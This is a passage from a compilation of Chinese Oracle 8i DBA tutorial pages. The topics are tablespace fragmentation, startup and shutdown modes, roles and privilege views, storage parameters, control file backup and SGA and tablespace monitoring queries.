---- 如上所述，当要满足一个空间要求时，数据库将首先查找当前最大的自由范围，而"最大"自由范围逐渐变小，要找到一个足够大的自由范围已变得越来越困难，从而导致表空间中的速度障碍，使数据库的空间分配愈发远离理想状态；

---- （2）浪费大量的表空间

---- 尽管有一部分自由范围（如表空间的pctincrease为非0）将会被SMON（系统监控）后台进程周期性地合并，但始终有一部分自由范围无法得以自动合并，浪费了大量的表空间。

---- 3、自由范围的碎片计算

---- 由于自由空间碎片是由几部分组成，如范围数量、最大范围尺寸等，我们可用FSFI--Free Space Fragmentation Index（自由空间碎片索引）值来直观体现：

FSFI=100*SQRT(max(extent)/sum(extents))*1/SQRT(SQRT(count(extents)))
---- 可以看出，FSFI的最大可能值为100（一个理想的单文件表空间）。随着范围的增加，FSFI值缓慢下降，而随着最大范围尺寸的减少，FSFI值会迅速下降。

---- 下面的脚本可以用来计算FSFI值：

    rem    FSFI Value Compute
    rem    fsfi.sql
    column FSFI format 999,99
    select tablespace_name,sqrt(max(blocks)/sum(blocks))*
           (100/sqrt(sqrt(count(blocks)))) FSFI
    from dba_free_space
    group by tablespace_name order by 1;
    spool fsfi.rep;
    /
    spool off;
---- 比如，在某数据库运行脚本fsfi.sql,得到以下FSFI值：
    TABLESPACE_NAME                   FSFI
    ------------------------------ -------
    RBS                              74.06
    SYSTEM                          100.00
    TEMP                             22.82
    TOOLS                            75.79
    USERS                           100.00
    USER_TOOLS                      100.00
    YDCX_DATA                        47.34
    YDCX_IDX                         57.19
    YDJF_DATA                        33.80
    YDJF_IDX                         75.55
---- 统计出了数据库的FSFI值，就可以把它作为一个可比参数。在一个有着足够有效自由空间，且FSFI值超过30的表空间中，很少会遇见有效自由空间的问题。当一个空间将要接近可比参数时，就需要做碎片整理了。

---- 4、自由范围的碎片整理

---- （1）表空间的pctincrease值为非0

---- 可以将表空间的缺省存储参数pctincrease改为非0。一般将其设为1，如：

       alter tablespace temp
       default storage(pctincrease 1);
---- 这样SMON便会将自由范围自动合并。也可以手工合并自由范围：
       alter tablespace temp coalesce;
---- 5、段的碎片整理

---- 我们知道，段由范围组成。在有些情况下，有必要对段的碎片进行整理。要查看段的有关信息，可查看数据字典dba_segments，范围的信息可查看数据字典dba_extents。如果段的碎片过多， 将其数据压缩到一个范围的最简单方法便是用正确的存储参数将这个段重建，然后将旧表中的数据插入到新表，同时删除旧表。这个过程可以用Import/Export（输入/输出）工具来完成。

---- Export（）命令有一个（压缩）标志，这个标志在读表时会引发Export确定该表所分配的物理空间量，它会向输出转储文件写入一个新的初始化存储参数--等于全部所分配空间。若这个表关闭， 则使用Import（）工具重新生成。这样，它的数据会放入一个新的、较大的初始段中。例如：

exp user/password file=exp.dmp compress=Y grants=Y indexes=Y
        tables=(table1,table2);
---- 若输出成功，则从库中删除已输出的表，然后从输出转储文件中输入表：
imp user/password file=exp.dmp commit=Y buffer=64000 full=Y
---- 这种方法可用于整个数据库。

---- 以上简单分析了Oracle数据库碎片的产生、计算方法及整理，仅供参考。数据库的性能优化是一项技术含量高，同时又需要有足够耐心、认真细致的工作。 对数据库碎片的一点探讨，

---- 如果能起到抛砖引玉，对大家有所启发的话，便是作者最大的心愿。


Oracle技术网—Oracle数据库有哪几种关闭方式

位置：首页→DBA→

阿木伯 著
Oracle数据库有哪几种关闭方式？

  • 说明：

有三种启动方式：
1、shutdown normal
   正常方式关闭数据库。

2、shutdown immediate
   立即方式关闭数据库。
   在SVRMGRL中执行shutdown immediate，数据库并不立即关闭，
   而是在Oracle执行某些清除工作后才关闭（终止会话、释放会话资源），
   当使用shutdown不能关闭数据库时，shutdown immediate可以完成数据库关闭的操作。

3、shutdown abort
   直接关闭数据库，正在访问数据库的会话会被突然终止，
   如果数据库中有大量操作正在执行，这时执行shutdown abort后，重新启动数据库需要很长时间。


Oracle技术网—Oracle数据库有哪几种启动方式

位置：首页→DBA→

阿木伯 著
Oracle数据库有哪几种启动方式？

  • 说明：

有以下几种启动方式：
1、startup nomount
   非安装启动，这种方式启动下可执行：重建控制文件、重建数据库

   读取init.ora文件，启动instance，即启动SGA和后台进程，这种启动只需要init.ora文件。

2、startup mount dbname
   安装启动，这种方式启动下可执行：
   数据库日志归档、
   数据库介质恢复、
   使数据文件联机或脱机，
   重新定位数据文件、重做日志文件。

   执行“nomount”，然后打开控制文件，确认数据文件和联机日志文件的位置，
   但此时不对数据文件和日志文件进行校验检查。

3、startup open dbname
   先执行“nomount”，然后执行“mount”，再打开包括Redo log文件在内的所有数据库文件，
   这种方式下可访问数据库中的数据。

4、startup，等于以下三个命令
   startup nomount
   alter database mount
   alter database open

5、startup restrict
   约束方式启动
   这种方式能够启动数据库，但只允许具有一定特权的用户访问
   非特权用户访问时，会出现以下提示：
   ERROR：
   ORA-01035: ORACLE 只允许具有 RESTRICTED SESSION 权限的用户使用

6、startup force
   强制启动方式
   当不能关闭数据库时，可以用startup force来完成数据库的关闭
   先关闭数据库，再执行正常启动数据库命令

7、startup pfile=参数文件名
   带初始化参数文件的启动方式
   先读取参数文件，再按参数文件中的设置启动数据库
   例：startup pfile=E:\Oracle\admin\oradb\pfile\init.ora

8、startup EXCLUSIVE


Oracle技术网—Oracle预定义角色有哪些

位置：首页→DBA→

阿木伯 著
Oracle预定义角色有哪些？

  • 软件环境：
      1、Windows 2000+ORACLE 8.1.6
      2、ORACLE安装路径为：C:\ORACLE
  • 实现方法：

1. CONNECT
2. RESOURCE
3. DBA
4. EXP_FULL_DATABASE
5. IMP_FULL_DATABASE
6. DELETE_CATALOG_ROLE
7. EXECUTE_CATALOG_ROLE
8. SELECT_CATALOG_ROLE

说明：1-3是为了同ORACLE老版本中的概念相兼容而提供的，不能只依赖于这些ROLE
      4-5是为了使用Import和Export实用程序的方便而提供的
      6-8是为了数据字典视图和包的卸载而提供的

CONNECT角色：		--是授予最终用户的典型权利，最基本的

ALTER SESSION		--修改会话
CREATE CLUSTER		--建立聚簇
CREATE DATABASE LINK		--建立数据库链接
CREATE SEQUENCE		--建立序列
CREATE SESSION		--建立会话
CREATE SYNONYM		--建立同义词
CREATE VIEW		--建立视图

RESOURCE角色：		--是授予开发人员的

CREATE CLUSTER		--建立聚簇
CREATE PROCEDURE		--建立过程
CREATE SEQUENCE		--建立序列
CREATE TABLE		--建表
CREATE TRIGGER		--建立触发器
CREATE TYPE		--建立类型

DBA角色：

拥有系统所有系统级权限

IMP_FULL_DATABASE角色、EXP_FULL_DATABASE角色：

BACKUP ANY TABLE		--备份任何表
EXECUTE ANY PROCEDURE		--执行任何操作
SELECT ANY TABLE		--查询任何表

DELETE_CATALOG_ROLE角色：

这个角色是Oracle8新增加的，如果授予用户这个角色，用户就可以从表sys.aud$中删除记录，
sys.aud$表中记录着审计后的记录，使用这个角色可以简化审计踪迹管理。

SELECT_CATALOG_ROLE角色、EXECUTE_CATALOG_ROLE角色：

SELECT_CATALOG_ROLE角色具有从数据字典查询的权利，
EXECUTE_CATALOG_ROLE角色具有从数据字典中执行部分过程和函数的权利。


Oracle技术网—ROLLBACK不能回滚的命令

位置：首页→DBA→

ROLLBACK不能回滚的命令

  • 解释：
        某些命令隐含自动提交功能，最常见的有：

    ALTER：修改表、索引、用户、表空间等

    CREATE：创建表、视图、同义词、触发器、数据库链路、快照、序列、用户、表空间等对象

    DROP：删除已创建的任何对象

    RENAME：修改表、索引、视图的名字


Oracle技术网—查看哪些session正在使用哪些回滚段

位置：首页→DBA→

阿木伯 著
查看哪些session正在使用哪些回滚段？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 测试方法：
      打开多个SQL*Plus窗口，一些做一些需要回滚的操作，如insert，delete等，一个执行以下的语句来监视。
  • SQL语句：

col 回滚段名 format a10
col SID format 9990
col 用户名 format a10
col 操作程序 format a80
col status format a6 trunc

SELECT  r.name 回滚段名,
    s.sid,
    s.serial#,
    s.username 用户名,
    t.status,
    t.cr_get,
    t.phy_io,
    t.used_ublk,
    t.noundo,
    substr(s.program, 1, 78) 操作程序
FROM   sys.v_$session s,sys.v_$transaction t,sys.v_$rollname r
WHERE  t.addr = s.taddr and t.xidusn = r.usn
ORDER  BY t.cr_get,t.phy_io
/


Oracle技术网—存储参数（storage子句）含义及设置技巧

位置：首页→DBA→

【点击：】 阿木伯 著
存储参数（storage子句）含义及设置技巧

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 解释：

      可用于：表空间、回滚段、表、索引、分区、快照、快照日志

      参数名称 | 缺省值 | 最小值 | 最大值 | 说明
      INITIAL | 5（数据块） | 2（数据块） | 操作系统限定 | 分配给Segment的第一个Extent的大小，以字节为单位，这个参数不能在alter语句中改变，如果指定的值小于最小值，则按最小值创建。
      NEXT 5（数据块） 1（数据块） 操作系统限定 第二个Extent的大小等于NEXT的初值，以后的NEXT值=前一NEXT大小乘以（1+PCTINCREASE/100），如果指定的值小于最小值，则按最小值创建。
      如果在alter语句中改变NEXT的值，则下一个分配的Extent将具有指定的大小，而不管上一次分配的Extent大小和PCTINCREASE参数值。
      MINEXTENTS 1（Extent）
      回滚段为2个Extent       		1（Extent）
      回滚段为2个Extent       		操作系统限定 Segment第一次创建时分配的Extent数量
      MAXEXTENTS 根据数据块大小而定 1（Extent）
      回滚段为2个Extent       		无限制 随着Segment中数据量的增长，最多可分配的Extent数量
      PCTINCREASE 50%

      （Oracle816中为0%）       		0% 操作系统限定 指定第三个及其后的Extent相对于上一个Extent所增加的百分比，
      如果PCTINCREASE为0，则Segment中所有新增加的Extent的大小都相同，等于NEXT的值，
      如果PCTINCREASE大于0，则每次计算NEXT的值（用上面的公式），
      PCTINCREASE不能为负数。
      创建回滚段时，不可指定此参数，回滚段中此参数固定为0。
      OPTIMAL ---- 不能小于回滚段初始分配空间 操作系统限定 仅与回滚段有关，当回滚段因为增长、扩展而超过此参数的设定范围时，Oracle系统会根据情况动态地重新分配Extents，试图收回多分配的Extent。
      FREELISTS 1 1 数据块大小限制 只能在CREATE TABLE、CLUSTER、INDEX中指定FREELISTS和FREELIST GROUPS参数。
      模式对象中每一个自由列表组中自由列表的数量
      FREELIST GROUPS | 1 | 1 | 取决于Oracle并行实例的数量 | 用户创建的数据库对象的自由列表组的数量，只有用OPS并行服务器选项时才使用这一参数，一个实例对应一个组。
      BUFFER_POOL ---- ---- ---- 给模式对象定义缺省缓冲池（高速缓存），该对象的所有块都存储在指定的高速缓存中，对于表空间或回滚段无效。

建议PCTINCREASE参数设置为0，可使碎片最小化，使每一个Extent都相同（等于NEXT值）

一旦建立了某个对象，它的INITIAL和MINEXTENTS参数不能修改（Oracle 816中可修改MINEXTENTS参数）

对于NEXT和PCTINCREASE的任何修改都只影响后来分配的那些Extent

在分配一个新Extent时，系统直接按NEXT的值分配一个Extent，
然后用公式：前一NEXT值*(1+PCTINCREASE/100) 计算出下一个应该分配的Extent的大小，
并把计算结果保存到相关数据字典的NEXT_EXTENT列上，做为下一个应该分配的Extent的大小。

CREATE TABLE test(a number)
STORAGE(
INITIAL 100K
NEXT 100K
MINEXTENTS 2
MAXEXTENTS 100
PCTINCREASE 100);

解释：
初始给test表分配两个Extent，
第一个Extent是100K，因INITIAL=100K
第二个Extent是100K，因NEXT=100K
如果因表内数据增长，需要分配第三个Extent，因PCTINCREASE是100，则
第三个Extent是200K=100K+100K
第四个Extent是400K=200K+200K

可通过数据字典表DBA_TABLES、ALL_TABLES、USER_TABLES查看参数设置情况，如：
select table_name,initial_extent,next_extent,min_extents,max_extents,pct_increase from user_tables;

TABLE_NAME INITIAL_EXTENT NEXT_EXTENT MIN_EXTENTS MAX_EXTENTS PCT_INCREASE
---------- -------------- ----------- ----------- ----------- ------------
TEST               106496      212992           2         100          100


Oracle技术网—和权限有关的表有哪些

位置：首页→DBA→

阿木伯 著
和权限有关的表有哪些？

  • 软件环境：
      1、Windows 2000+ORACLE 8.1.6
      2、ORACLE安装路径为：C:\ORACLE
  • 实现方法：

SQL> select table_name from dict where table_name like '%PRIV%';

SQL> select * from user_sys_privs;	--查看直接授予用户的系统权限
SQL> select * from user_role_privs;	--用户有哪些角色
SQL> select * from user_tab_privs;	--检查一个用户被授予和授予其他用户的对象级权限

SQL> select * from dba_roles;		--查询系统中的角色
SQL> select * from dba_sys_privs;	--查询角色的权利
SQL> select * from dba_role_privs;	--查询角色是谁定义的
SQL> select * from column_privileges;	--
SQL> select * from role_role_privs;	--查询角色的授予和被授予关系
SQL> select * from role_sys_privs;	--查询角色被授予的系统级权限
SQL> select * from role_tab_privs;	--查询角色的对象级权限
SQL> select * from session_privs;	--
SQL> select * from tab_privileges;	--


Oracle技术网—漫谈数据库的启动和关闭

漫谈数据库的启动和关闭
来源：华南网木棉站

漫谈数据库的启动和关闭

对于DBA们来说，关闭和重新启动数据库以便优化、调整应用的运行是经常碰到的事情。如果用户已经log进如了数据库，你用SHUTDOWN IMMEDIATE 或SHUTDOWN ABORT命令来执行关闭数据库，那用户将不能连接，直到数据库重新启动，用户时常会抱怨：怎么又要重起。其实，每次这样的启动关闭都是为了数据库能更好的运做。这篇文章将具体介绍shutdown/startup操作时应想到的步骤和许多注意事项，或许这些能对你有所帮助。

NOTE:在执行第一步前，SHUT DOWN 数据库，不要提前关闭SQL*NET，直到你确认关闭了SERVER上的数据库后再关闭SQL*NET。因为一旦你关闭了SQL*NET，用户将将失去和数据库的会话。

第一步---存档或删除老的trace files 和 logs
当你启动ORACLE的一个实例（INSTANCE）时，ORACLE把关于该实例的诊断信息写入指定的trace 和 log文件。每个后台进程都增加一个TRACE文件，它被存储在指定的目录（该路径由INIT.ORA 或CONFIG.ORA文件中的BACKGROUND_DUMP_DEST参数指定）。用户在数据库中遇到一个内部错误时也增加 USERS' TRACE文件，该文件的位置由INIT.ORA 或 CONFIG.ORA 文件中的USER_DUMP_DEST参数指定。

TRACE文件的个数和名称形式由你的操作系统决定。例如在UNIX下，文件名是一个数字加下画线加后台进程号，类似3_12345.trc，当你下一次启动实例时，一个新的文件将被产生，因为进程号的不同，文件名可能是3_13245.trc 。

由于每次启动和关闭数据库时，ORACLE并不自动删除TRACE文件，所以如果忽略这个步骤，那这些没有用的文件将占据大量的自由空间。所以DBA应该主动的管理这些文件，或删除或存档在别的指定目录下，如何管理主要是根据你自己的开发环境需要而订了。 SQL*NET也产生LOG文件，一般叫LISTENER.LOG，为了能知道他的位置，可以键入命令
lsnrctl status

LISTENER.LOG文件大小也随着启动的次数不断的变大，所以通过妥善管理它也能有效的利用空间。

第二步---改名ALERT LOG文件
ALERT LOG文件也是用来记录INSTANCE的诊断信息的。它的存放目录也通过BACKGROUND_DUMP_DEST参数来指定。一般情况下ALERT LOG文件命名方式为：ALERT_.LOG。ALTER LOG文件包括了一些数据库主要事件信息，例如：startup,dhutdown, redo log 的使用，tablespace的改变，文件的改变，内部错误信息，tablespace-backup的状态的改变等。ALTER LOG文件是重要的，同时该文件的大小增长的速度也很惊人，如果你不检查他，一段时间后你想看看它将是很费劲，因为它已经很大了，查起来也费劲。

为了既能留下这些有用的信息，同时不至于浪费很大的空间，可以用改名的方法。你可以在任何时候更改ALTER LOG文件名，甚至在DATABASE OPEN时。当ORACLE不能找到被BACKGROUND_DUMP_DESC指定的文件时，他将增加一个新的ALTER LOG文件。虽然改名不要求SHUTDOW，但选择在SHUTDOWN/STARTUP数据库时更改名字是一个好的主意。

NOTE：下面的几步是在restart数据库时做的。

第三步---产生一个增加控制文件（CREATE CONGROLFILE ）命令的文件
为了recover一个被破坏的数据库，你不得不用CREATE CONTROLFILE 命令来重建control files。CREATE CONTROLFILE命令有两个使用：
1、在你的现有CONTROL FILES文件破化后重建它
2、在ALTER DATABASE 级别的参数时，如：MAXDATAFILES

你可以手输入命令，但最好在STARTUP前发送一命令，以便你拥有最新版本的CREATE CONTROLFILE命令。从进入SQLDBA，SERVER MANAGER或者SQL*PLUS，输入：
alter database backup controlfile to trace;

该命令在USER_DUMP_DESC参数指定的路径产生一个TRACE文件，名字可能是SIDNAME_PROCESSID.TRC，该文件将包含针对你的数据库的完整的CREATE CONTROLFILE 语法。

第四步--把PACKAGES 和 PROCEDURES驻留SGA区
众所周知，当PL/SQL OBJECTS被一个用户调用时，它将被存储在SGA区的SQL共享池中，当别人再度调用该OBJECT时直接从SGA区读取，能感受到明显的速度提升。所以，把常用的PACKAGES 和 PROCEDURES在STARTUP时就载入并驻留SGA，将提高应用的整体性能。通过从新编译、调用等方法可以调用OBJECT（PROCEDURES 或 CURSORS）进SGA，然后用DBMS_SHARED_POOL.KEEP来驻留SGA。如下：
alter package APPOWNER.ADD_CLIENT compile;
execute DBMS_SHARED_POOL.KEEP('APPOWNER.ADD_CLIENT','P');
（P代表PROCEDURES，C代表CURSORS）

一般每个数据库包括两类驻留程序：
1、数据库的核心PACKAGES
2、用户自定义的PACKAGES
核心PACKAGES包括SYS 所有的PACKAGES，STANDARD，DBMS_SQL, DBMS_UTILITY, DIUTIL，为了查看你的INSTANCE中那些被驻留了，查询DBA_OBJECT_SIZE，用下面的语句：
select Owner,
Name,
Type,
Source_Size+Code_Size+Parsed_Size+Error_Size Total_Bytes
from DBA_OBJECT_SIZE
where Type = 'PACKAGE BODY' order by 4 desc;


Oracle技术网—如何备份控制文件

位置：首页→DBA→

【点击：】 阿木伯 著
如何备份控制文件？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i (8.1.7) for NT 企业版
      3、安装路径：D:\ORACLE
  • 实现方法：
      1、
ALTER DATABASE BACKUP CONTROLFILE TO TRACE;
ALTER DATABASE BACKUP CONTROLFILE TO TRACE RESETLOGS;
ALTER DATABASE BACKUP CONTROLFILE TO TRACE NORESETLOGS;

2、
ALTER DATABASE BACKUP CONTROLFILE TO 文件名;
ALTER DATABASE BACKUP CONTROLFILE TO 文件名 REUSE;（如果此文件已存在）

例：
SQL> ALTER DATABASE BACKUP CONTROLFILE TO 'c:\a';

数据库已更改。

SQL> ALTER DATABASE BACKUP CONTROLFILE TO 'c:\a';
ALTER DATABASE BACKUP CONTROLFILE TO 'c:\a'
*
ERROR 位于第 1 行:
ORA-01580: 创建控制备份文件c:\a时出错
ORA-27038: skgfrcre: 文件存在
OSD-04010: <创建> 选项指定,文件已经存在

SQL> ALTER DATABASE BACKUP CONTROLFILE TO 'c:\a' reuse;

数据库已更改。

SQL>

3、
Shutdown，直接看init.ora文件中的control_files项，找到其中任意一个控制文件，
用操作系统命令复制到备份地点即可（如：软盘、光盘、磁带等）

第一种方法产生的是一个跟踪文件，里面存放的是创建控制文件的脚本，可以用记事本等文本编辑器打开
这个脚本可以让你重新创建控制文件，
生成一个跟踪文件到init.ora中user_dump_dest所指的目录下（$ORACLE_HOME\ADMIN\ORADB\UDUMP\）。

第二种方法产生的是一个二进制文件，就是当前控制文件的一个一模一样的备份。


Oracle技术网—如何查出前台正在发出的sql语句

位置：首页→DBA→

阿木伯 著
如何查出前台正在发出的sql语句？

  • 软件环境：
      1、Windows 2000+ORACLE 8.1.6
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：

可以用以下语句：

select user_name,sql_text
     from v$open_cursor
     where sid in (select sid from (select sid,serial#,username,program
     from v$session
     where status='ACTIVE'))

子查询
select sid,serial#,username,program
     from v$session
     where status='ACTIVE'
查出的是不活动的session的sid。

SQL> desc v$open_cursor
 名称                                      空?      类型
 ----------------------------------------- -------- ------------
 SADDR                                              RAW(4)
 SID                                                NUMBER
 USER_NAME                                          VARCHAR2(30)
 ADDRESS                                            RAW(4)
 HASH_VALUE                                         NUMBER
 SQL_TEXT                                           VARCHAR2(60)


Oracle技术网—如何查看Oracle版本及安装了哪些选项

位置：首页→DBA→

阿木伯 著
如何查看Oracle版本及安装了哪些选项？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 说明：

1、查看数据库版本
SQL> select banner from sys.v_$version;

BANNER
----------------------------------------------------------
Oracle8i Enterprise Edition Release 8.1.6.0.0 - Production
PL/SQL Release 8.1.6.0.0 - Production
CORE    8.1.6.0.0       Production
TNS for 32-bit Windows: Version 8.1.6.0.0 - Production
NLSRTL Version 3.4.1.0.0 - Production

2、查看安装了哪些选项
SQL> col PARAMETER format a60
SQL> col VALUE format a10
SQL> select * from sys.v_$option;

PARAMETER                                                    VALUE
------------------------------------------------------------ ----------
Partitioning                                                 TRUE
Objects                                                      TRUE
Parallel Server                                              FALSE
Advanced replication                                         TRUE
Bit-mapped indexes                                           TRUE
Connection multiplexing                                      TRUE
Connection pooling                                           TRUE
Database queuing                                             TRUE
Incremental backup and recovery                              TRUE
Instead-of triggers                                          TRUE
Parallel backup and recovery                                 TRUE

PARAMETER                                                    VALUE
------------------------------------------------------------ ----------
Parallel execution                                           TRUE
Parallel load                                                TRUE
Point-in-time tablespace recovery                            TRUE
Fine-grained access control                                  TRUE
N-Tier authentication/authorization                          TRUE
Function-based indexes                                       TRUE
Plan Stability                                               TRUE
Online Index Build                                           TRUE
Coalesce Index                                               TRUE
Managed Standby                                              TRUE
Materialized view rewrite                                    TRUE

PARAMETER                                                    VALUE
------------------------------------------------------------ ----------
Materialized view warehouse refresh                          TRUE
Database resource manager                                    TRUE
Spatial                                                      TRUE
Visual Information Retrieval                                 TRUE
Export transportable tablespaces                             TRUE
Transparent Application Failover                             TRUE
Fast-Start Fault Recovery                                    TRUE
Sample Scan                                                  TRUE
Duplexed backups                                             TRUE
Java                                                         FALSE
OLAP Window Functions                                        TRUE

已选择33行。

SQL> set head off feed off pages 0 serveroutput on
SQL> begin
  2      dbms_output.put_line('Port String: '||dbms_utility.port_string);
  3  end;
  4  /
Port String: IBMPC/WIN_NT-8.1.0


Oracle技术网—如何查看Oracle数据表的建表语句

位置：首页→DBA→

【点击：】 阿木伯 著
如何查看Oracle数据表的建表语句？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现步骤：
      1、用EXP工具导出
      2、导入时使用show=y选项、log选项
      3、查看、编辑日志文件
  • 具体实例：

1、调出SQL*Plus

conn system/manager
grant connect,resource to a identified by a;
grant connect,resource to b identified by b;
conn a/a

create table a(a number);
insert into a values(1);
insert into a values(2);
insert into a values(3);

create table b(a number,b varchar2(10));
insert into b values(1,'1111');
insert into b values(2,'2222');
insert into b values(3,'3333');
commit;

2、打开一个DOS窗口、先执行导出

E:\>exp a/a file=a.dmp log=loga.txt

Export: Release 8.1.6.0.0 - Production on 星期五 12月 1 22:24:16 2000

(c) Copyright 1999 Oracle Corporation.  All rights reserved.

连接到: Oracle8i Enterprise Edition Release 8.1.6.0.0 - Production
With the Partitioning option
JServer Release 8.1.6.0.0 - Production
已导出ZHS16GBK字符集和ZHS16GBK NCHAR 字符集
. 正在导出 pre-schema 过程对象和操作
. 正在导出用户A的外部函数程序库名称
. 正在导出用户A的对象类型定义
即将导出A的对象 ...
. 正在导出数据库链接
. 正在导出序号
. 正在导出群集定义
. 即将导出A的表通过常规路径 ...
. . 正在导出表                              A          3 行被导出
. . 正在导出表                              B          3 行被导出
. 正在导出同义词
. 正在导出视图
. 正在导出存储的过程
. 正在导出运算符
. 正在导出引用完整性约束条件
. 正在导出触发器
. 正在导出索引类型
. 正在导出位图、功能性索引和可扩展索引
. 正在导出后期表活动
. 正在导出快照
. 正在导出快照日志
. 正在导出作业队列
. 正在导出刷新组和子组
. 正在导出维
. 正在导出 post-schema 过程对象和操作
. 正在导出统计
在没有警告的情况下成功终止导出。

E:\>

3、再执行导入，使用show=y、log这两个选项

E:\>imp a/a file=a.dmp show=y log=logb.txt

Import: Release 8.1.6.0.0 - Production on 星期五 12月 1 22:29:49 2000

(c) Copyright 1999 Oracle Corporation.  All rights reserved.

连接到: Oracle8i Enterprise Edition Release 8.1.6.0.0 - Production
With the Partitioning option
JServer Release 8.1.6.0.0 - Production

经由常规路径导出由EXPORT:V08.01.06创建的文件
已经完成ZHS16GBK字符集和ZHS16GBK NCHAR 字符集中的导入
. 正在将A的对象导入到 A
 "CREATE TABLE "A" ("A" NUMBER)  PCTFREE 10 PCTUSED 40 INITRANS 1 MAXTRANS 25"
 "5 LOGGING STORAGE(INITIAL 131072 NEXT 65536 MINEXTENTS 1 MAXEXTENTS 2147483"
 "645 PCTINCREASE 50 FREELISTS 1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT) TABLE"
 "SPACE "SYSTEM""
. . 正在跳过表 "A"

 "CREATE TABLE "B" ("A" NUMBER, "B" VARCHAR2(10))  PCTFREE 10 PCTUSED 40 INIT"
 "RANS 1 MAXTRANS 255 LOGGING STORAGE(INITIAL 131072 NEXT 65536 MINEXTENTS 1 "
 "MAXEXTENTS 2147483645 PCTINCREASE 50 FREELISTS 1 FREELIST GROUPS 1 BUFFER_P"
 "OOL DEFAULT) TABLESPACE "SYSTEM""
. . 正在跳过表 "B"

成功终止导入，但出现警告。

E:\>

4、使用编辑器打开logb.txt，里面可以看到DDL语句


Oracle技术网—如何查看SGA区剩余可用内存

位置：首页→DBA→

阿木伯 著
如何查看SGA区剩余可用内存？

  • 系统环境：
      1、操作系统：Windows 2000，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现方法：

SQL> col OBJECT_NAME format a20
SQL> col 自由空间百分比(%) format 90.99　　　--格式化，把小数点对齐为两位

SQL> select name,
            sgasize/1024/1024　　　　　　　　"Allocated(M)",
            bytes/1024　　　　　　　　　　　 "自由空间(K)",
            round(bytes/sgasize*100, 2)　　　"自由空间百分比(%)"
     from   (select sum(bytes) sgasize from sys.v_$sgastat) s, sys.v_$sgastat f
     where  f.name = 'free memory';

NAME                       Allocated(M) 自由空间(K) 自由空间百分比(%)
-------------------------- ------------ ----------- -----------------
free memory                  54.4491119   11619.457             20.84
free memory                  54.4491119         600              1.08
free memory                  54.4491119       17788             31.90

以下为查看sys.v_$sgastat相关

SQL> desc sys.v_$sgastat
 名称                                      空?      类型
 ----------------------------------------- -------- ---------------------
 POOL                                               VARCHAR2(11)
 NAME                                               VARCHAR2(26)
 BYTES                                              NUMBER

SQL> select sum(bytes) sgasize from sys.v_$sgastat;	--SGA区总和

   SGASIZE
----------
  57094032

SQL> select * from sys.v_$sgastat;

POOL        NAME                            BYTES
----------- -------------------------- ----------
            fixed_sga                       70924
            db_block_buffers             16777216
            log_buffer                      66560
shared pool free memory                  11935052
shared pool miscellaneous                  566128
shared pool PLS non-lib hp                   2096
shared pool State objects                  134572
shared pool KGFF heap                        6552
shared pool character set object            58936
shared pool KGK heap                        17568
shared pool db_files                       370988

POOL        NAME                            BYTES
----------- -------------------------- ----------
shared pool joxlod: in phe                   4144
shared pool KQLS heap                      430828
shared pool table columns                   18400
shared pool fixed allocation callback         320
shared pool PL/SQL DIANA                   371572
shared pool enqueue_resources               96768
shared pool PL/SQL MPCODE                   61832
shared pool trigger inform                    520
shared pool transactions                    66900
shared pool trigger defini                   1392
shared pool distributed_transactions-      180152

POOL        NAME                            BYTES
----------- -------------------------- ----------
shared pool VIRTUAL CIRCUITS               112260
shared pool view columns d                   1072
shared pool SYSTEM PARAMETERS               61336
shared pool dictionary cache               296356
shared pool message pool freequeue         231152
shared pool joxlod: in ehe                  52712
shared pool character set memory           135888
shared pool db_block_buffers               278528
shared pool library cache                 1132868
shared pool Checkpoint queue                73764
shared pool sql area                       933812

POOL        NAME                            BYTES
----------- -------------------------- ----------
shared pool processes                       47200
shared pool sessions                       147108
shared pool joxs heap init                    896
shared pool transaction_branches           368000
shared pool event statistics per sess      231840
shared pool db_block_hash_buckets           98328
shared pool file # translation table        65572
large pool  free memory                    614400
java pool   free memory                  18214912
java pool   memory in use                 2756608

已选择43行。


Oracle技术网—如何查看各个表空间占用磁盘情况

位置：首页→DBA→

如何查看各个表空间占用磁盘情况？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • SQL语句：
        SQL> col tablespace format a20
    SQL> select
         b.file_id 				文件ID号,
         b.tablespace_name 			表空间名,
         b.bytes 				字节数,
         (b.bytes-sum(nvl(a.bytes,0))) 		已使用,
         sum(nvl(a.bytes,0)) 			剩余空间,
         sum(nvl(a.bytes,0))/(b.bytes)*100 	剩余百分比
         from dba_free_space a,dba_data_files b
         where a.file_id=b.file_id
         group by b.tablespace_name,b.file_id,b.bytes
         order by b.file_id
         /

     文件ID号 表空间名                          字节数    已使用  剩余空间 剩余百分比
    --------- ------------------------------ --------- --------- --------- ----------
            1 SYSTEM                          20971520   9971712  10999808  52.451172
            2 USER_DATA                        3145728    432128   2713600  86.263021
            3 ROLLBACK_DATA                    5242880   1640448   3602432  68.710938
            4 TEMPORARY_DATA                   2097152      2048   2095104  99.902344


Oracle技术网—如何查看后台进程

位置：首页→DBA→

【点击：】 阿木伯 著
如何查看后台进程？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 实现步骤：

SQL> desc v$bgprocess
 名称                                      空?      类型
 ----------------------------------------- -------- -----------------
 PADDR                                              RAW(4)		--进程状态对象地址
 NAME                                               VARCHAR2(5)		--后台进程名称
 DESCRIPTION                                        VARCHAR2(64)	--后台进程描述
 ERROR                                              NUMBER		--后台进程运行中所遇到的错误数

SQL> col DESCRIPTION format a40
SQL> select * from v$bgprocess;

PADDR    NAME  DESCRIPTION                                   ERROR
-------- ----- ---------------------------------------- ----------
